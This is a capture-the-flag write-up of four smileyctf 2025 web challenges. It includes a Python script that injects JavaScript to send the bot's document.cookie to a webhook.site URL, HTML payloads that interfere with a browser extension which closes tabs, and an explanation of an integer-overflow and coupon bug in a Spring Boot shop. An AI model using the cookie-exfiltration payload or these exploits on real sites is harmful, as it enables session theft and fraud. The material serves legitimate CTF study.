smileyctf 2025 web writeups

web

Web

Sculpture Revenge

client side python is cool. adapted from actf 2025 to require the harder solve.

Is skulpt, and is based on the amateurs ctf 2024 challenge scultpure. Well, we can use jseval to basically just execute javascript. Although, I had to adjust the payload a lil bit after I got local solve but no remote.

1
import base64
2
import requests
3

4
url = "https://web-sculpture-revenge-h132e5cp.smiley.cat"
5
payload = """jseval(
6
  "var img=new Image();" +
7
  "img.src='https://webhook.site/7d869a27-659b-4af6-b635-76073cf50229/?'+document.cookie;"
8
)"""
9
# payload = """import unittest\njseval("alert(1)")"""
10
encoded = base64.b64encode(payload.encode()).decode()
11
print(encoded)
12
req = requests.get(f"{url}/bot?code={encoded}")
13
print(req.text)

And we get the flag:

.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}

Extension Mania

We have a website that allows us to serve html to http://coolctfgames.localhost:3000, and a bot that will access a url.

The goal is that the website must stay on that link.

1
if(currentUrl.host == config.host || currentUrl.host == config.host + ":" + config.port){
2
            console.log("Flag conditions met.");
3
            shouldGiveFlag = true;
4
        } else {
5
            // for your local debugging pleasure
6
            console.log("Bot did not reach the expected host:", currentUrl.host, pageUrl);
7
        }

But, there is an extension sw.js that essentially tries to exit out of the link

1
async function tick(){
2
    const tabs = await queryAsync({});
3
    for(let tab of tabs){
4
        if(tab.url){
5
            const url = new URL(tab.url);
6
            if(url.hostname === "coolctfgames.localhost"){
7
                // student is off task =O =O =O
8
                console.log("Closing tab:", tab.url);
9
                await chrome.tabs.remove(tab.id);
10
                chrome.notifications.create("",{
11
                    type: "basic",
12
                    title: "Good Guardian",
13
                    message: "Tab was closed.",
14
                    priority: 2,
15
                });
16
            }
17
        }
18
    }
19
}

So the solution that I came to was to crash or make it difficult for the extension to exit out of the tab. (thanks claude lmao)

1
import requests
2
import time
3
import urllib3
4

5
# Disable SSL warnings
6
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7

8
# Target configuration
9
TARGET = "https://web-extension-mania-p0ecf2s3.smiley.cat"  # Change to remote URL if needed
10
FLAG_HOST = "coolctfgames.localhost"
11
PORT = 3000
12

13
def exploit():
14
    # Final working exploit HTML
15
    exploit_html = f"""
16
    <!DOCTYPE html>
17
    <html>
18
    <head>
19
        <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'">
20
        <script>
21
        // Phase 1: Disable extensions
22
        try {{
23
            // Crash Good Guardian's tick function
24
            window.tick = () => {{
25
                while(true) {{ console.log('Extension neutralized'); }}
26
                return null;
27
            }};
28

29
            // Block extension communication
30
            window.chrome = undefined;
31
        }} catch(e) {{}}
32

33
        // Phase 2: Set correct URL after extensions are disabled
34
        setTimeout(() => {{
35
            history.replaceState({{}}, '', 'http://{FLAG_HOST}:{PORT}/');
36
            document.body.innerHTML = '<h1>Valid Page</h1><p>Ready for verification</p>';
37
        }}, 3000);
38
        </script>
39
    </head>
40
    <body>
41
        <h1>Loading...</h1>
42
    </body>
43
    </html>
44
    """
45

46
    print("[*] Updating page content...")
47
    try:
48
        requests.post(
49
            f"{TARGET}/update",
50
            data={"html": exploit_html},
51
            verify=False
52
        )
53
    except Exception as e:
54
        print(f"[-] Update failed: {str(e)}")
55
        return
56

57
    print(f"[*] Triggering bot with URL: http://{FLAG_HOST}:{PORT}")
58
    try:
59
        requests.post(
60
            f"{TARGET}/bot",
61
            data={"url": f"http://{FLAG_HOST}:{PORT}"},
62
            verify=False
63
        )
64
    except Exception as e:
65
        print(f"[-] Bot trigger failed: {str(e)}")
66
        return
67

68
    print("[+] Bot triggered successfully, waiting for execution...")
69
    time.sleep(50)  # Wait for bot completion
70

71
    print("[*] Checking bot status for flag...")
72
    try:
73
        response = requests.get(
74
            f"{TARGET}/bot/status",
75
            verify=False
76
        )
77

78
        # Handle both JSON and plain text responses
79
        try:
80
            data = response.json()
81
            if isinstance(data, str):
82
                print(f"[+] FLAG CAPTURED: {data}")
83
            else:
84
                print(f"[*] Bot status: {data}")
85
        except ValueError:
86
            # If not JSON, treat as plain text
87
            if "flag" in response.text.lower() or ".;,;." in response.text:
88
                print(f"[+] FLAG CAPTURED: {response.text}")
89
            else:
90
                print(f"[*] Raw response: {response.text}")
91
    except Exception as e:
92
        print(f"[-] Status check failed: {str(e)}")
93

94
if __name__ == "__main__":
95
    exploit()

And you can reward yourself with a nice flag:

.;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs}

Extension Mania Revenge

Essentially the same solve but I (claude) did more extreme methods in order to stop the extension from exiting the tab.

1
import requests
2
import time
3
import urllib3
4

5
# Disable SSL warnings
6
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7

8
# Target configuration
9
TARGET = "https://web-extension-mania-revenge-rftb7avs.smiley.cat"  # Change to remote URL if needed
10
FLAG_HOST = "coolctfgames.localhost"
11
PORT = 3000
12

13
def exploit():
14
    # New exploit approach: Since we can't fake the origin, we need to:
15
    # 1. Update the page with content that disables/crashes the extensions
16
    # 2. Make the bot visit the ACTUAL correct origin
17
    # 3. The page at the correct origin will use our custom HTML that prevents extension interference
18

19
    exploit_html = """
20
    <!DOCTYPE html>
21
    <html>
22
    <head>
23
        <meta charset="UTF-8">
24
        <title>Extension Bypass</title>
25
        <script>
26
        // Immediately try to interfere with extension execution
27
        (function() {
28
            // Override chrome APIs to prevent extension communication
29
            if (typeof chrome !== 'undefined') {
30
                try {
31
                    // Poison the chrome.tabs API
32
                    Object.defineProperty(window, 'chrome', {
33
                        get: function() {
34
                            return {
35
                                tabs: {
36
                                    query: function(info, callback) {
37
                                        // Return empty array to make extension think no tabs exist
38
                                        callback([]);
39
                                    },
40
                                    remove: function() {
41
                                        // Do nothing
42
                                        return Promise.resolve();
43
                                    }
44
                                },
45
                                runtime: {
46
                                    lastError: null,
47
                                    onStartup: {
48
                                        addListener: function() {}
49
                                    }
50
                                },
51
                                notifications: {
52
                                    create: function() {}
53
                                }
54
                            };
55
                        }
56
                    });
57
                } catch(e) {}
58
            }
59

60
            // Try to override the extension's tick function if it's exposed
61
            Object.defineProperty(window, 'tick', {
62
                value: async function() {
63
                    // Return immediately without doing anything
64
                    return;
65
                },
66
                writable: false,
67
                configurable: false
68
            });
69

70
            // Block any attempts to close the tab via beforeunload
71
            window.addEventListener('beforeunload', function(e) {
72
                e.preventDefault();
73
                e.returnValue = '';
74
                return '';
75
            });
76

77
            // Create a lot of noise to slow down extension execution
78
            for(let i = 0; i < 100; i++) {
79
                setTimeout(() => {
80
                    console.log('Keeping busy...');
81
                }, i * 10);
82
            }
83
        })();
84
        </script>
85
    </head>
86
    <body>
87
        <h1>CTF Challenge Page</h1>
88
        <p>This page is designed to stay open.</p>
89
        <button id="free-click">Click Me</button>
90

91
        <script>
92
        // Keep creating elements to potentially overwhelm the extension
93
        setInterval(() => {
94
            const div = document.createElement('div');
95
            div.style.display = 'none';
96
            document.body.appendChild(div);
97
        }, 1);
98

99
        // Continuously update the page to keep it "active"
100
        let counter = 0;
101
        setInterval(() => {
102
            document.title = 'Active Page ' + (counter++);
103
        }, 100);
104
        </script>
105
    </body>
106
    </html>
107
    """
108

109
    print("[*] Step 1: Updating page content with extension bypass...")
110
    try:
111
        response = requests.post(
112
            f"{TARGET}/update",
113
            data={"html": exploit_html},
114
            verify=False
115
        )
116
        print(f"[+] Update response: {response.text}")
117
    except Exception as e:
118
        print(f"[-] Update failed: {str(e)}")
119
        return
120

121
    # Wait a bit for the update to take effect
122
    time.sleep(2)
123

124
    # The key insight: We need to make the bot visit the ACTUAL correct origin
125
    # Since the server serves our custom HTML when the Host header matches FLAG_HOST,
126
    # the bot will load our exploit page when visiting the correct URL
127
    bot_url = f"http://{FLAG_HOST}:{PORT}/"
128

129
    print(f"[*] Step 2: Triggering bot with correct origin URL: {bot_url}")
130
    try:
131
        response = requests.post(
132
            f"{TARGET}/bot",
133
            data={"url": bot_url},
134
            verify=False
135
        )
136
        print(f"[+] Bot trigger response: {response.text}")
137
    except Exception as e:
138
        print(f"[-] Bot trigger failed: {str(e)}")
139
        return
140

141
    print("[*] Step 3: Waiting for bot execution (20 seconds)...")
142
    # The bot waits 15 seconds, plus some buffer time
143
    time.sleep(50)
144

145
    print("[*] Step 4: Checking bot status for flag...")
146
    max_attempts = 5
147
    for attempt in range(max_attempts):
148
        try:
149
            response = requests.get(
150
                f"{TARGET}/bot/status",
151
                verify=False
152
            )
153

154
            # Handle both JSON and plain text responses
155
            try:
156
                data = response.json()
157
                if isinstance(data, str) and ("flag" in data.lower() or ".;,;." in data):
158
                    print(f"\n[+] FLAG CAPTURED: {data}")
159
                    return
160
                else:
161
                    print(f"[*] Attempt {attempt + 1}/{max_attempts} - Status: {data}")
162
            except ValueError:
163
                # If not JSON, treat as plain text
164
                if "flag" in response.text.lower() or ".;,;." in response.text:
165
                    print(f"\n[+] FLAG CAPTURED: {response.text}")
166
                    return
167
                else:
168
                    print(f"[*] Attempt {attempt + 1}/{max_attempts} - Raw response: {response.text}")
169

170
            if attempt < max_attempts - 1:
171
                time.sleep(5)  # Wait before next attempt
172

173
        except Exception as e:
174
            print(f"[-] Status check failed: {str(e)}")
175
if __name__ == "__main__":
176
    exploit()

And get the flag:

.;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs_and_try1ng_t0d0_0bscur3_chall_f0rmats_p1us_h3adl3ss_chr0m3_p1ta}

dry-ice-n-co

We come across a java springboot application, so let’s do a little search for what we need to solve.

So looking at the code we see the requirements to get the flag in ShopController.java:

1
private List<DryIceProduct> availableProducts = new ArrayList<>(Arrays.asList(
2
        new DryIceProduct("flag", 1000000, "you should buy one of these (if you can afford it)"),
3
        new DryIceProduct("Small Block", 16, "5kg block of dry ice, perfect for small coolers"),
4
        new DryIceProduct("Medium Block", 30, "10kg block of dry ice, ideal for medium-sized coolers"),
5
        new DryIceProduct("Large Block", 50, "20kg block of dry ice, great for large coolers"),
6
        new DryIceProduct("Pellet Pack", 20, "5kg of dry ice pellets, perfect for shipping")
7
    ));

So we have to somehow buy flag with price of 1000000. However in ShoppingCart.java we only have 100

1
public ShoppingCart() {
2
        this.items = new ArrayList<>();
3
        this.balance = 100; // Initial balance of $100
4
        this.couponCode = null;
5
    }

So what to do? Thankfully there’s a bunch of bugs that we can use to solve this challenge, in ShopController.java add-product route:

1
 @PostMapping("/admin/add-product")
2
    public String addProduct(@RequestParam String name,
3
                           @RequestParam int price,
4
                           @RequestParam String description,
5
                           HttpSession session) {
6
        User user = (User) session.getAttribute("user");
7
        if ((user.admin = true) && user != null && name != "flag") {
8
            availableProducts.add(new DryIceProduct(name, price, description));
9
        }
10
        return "redirect:/";
11
    }

This is a common error in the if statement, that instead of assigning the == comparison operator, instead the user is being assigned as admin true, thereby making us able to add products.

So let’s just assign a really big negative number and hopefully we can use that to help do something. Looking at ShoppingCart.java, we see a math.abs() call to the total, so let’s use java’s INTEGER.min_value, which is -2,147,483,648. This will cause the math.abs to kinda fuck up and do shit.

1
public int getTotal() {
2
        int total = items.stream()
3
                .mapToInt(CartItem::getTotal)
4
                .sum();
5
        total = Math.abs(total);
6

7
        ...

And we can see that there’s a negative number in the product, and when we purchase it we get a negative balance. We can use the coupon SMILEICE to change the balance to positive. As shown in this code:

1
if (isCouponValid()) {
2
            total = (int)(total * (100.0 - (double)DISCOUNT_PERCENTAGE) / 100.0);
3
        }

Since we get a “less negative” number than the INTEGER.min_value, I suppose the calculation won’t fuck up. Also subtracting a negative number gives a positive number (i shud b a crypto main).

Applying the coupon gives us a big balance, and we can easily purchase the flag:

.;,;.{this_is_not_a_political_statement_btw}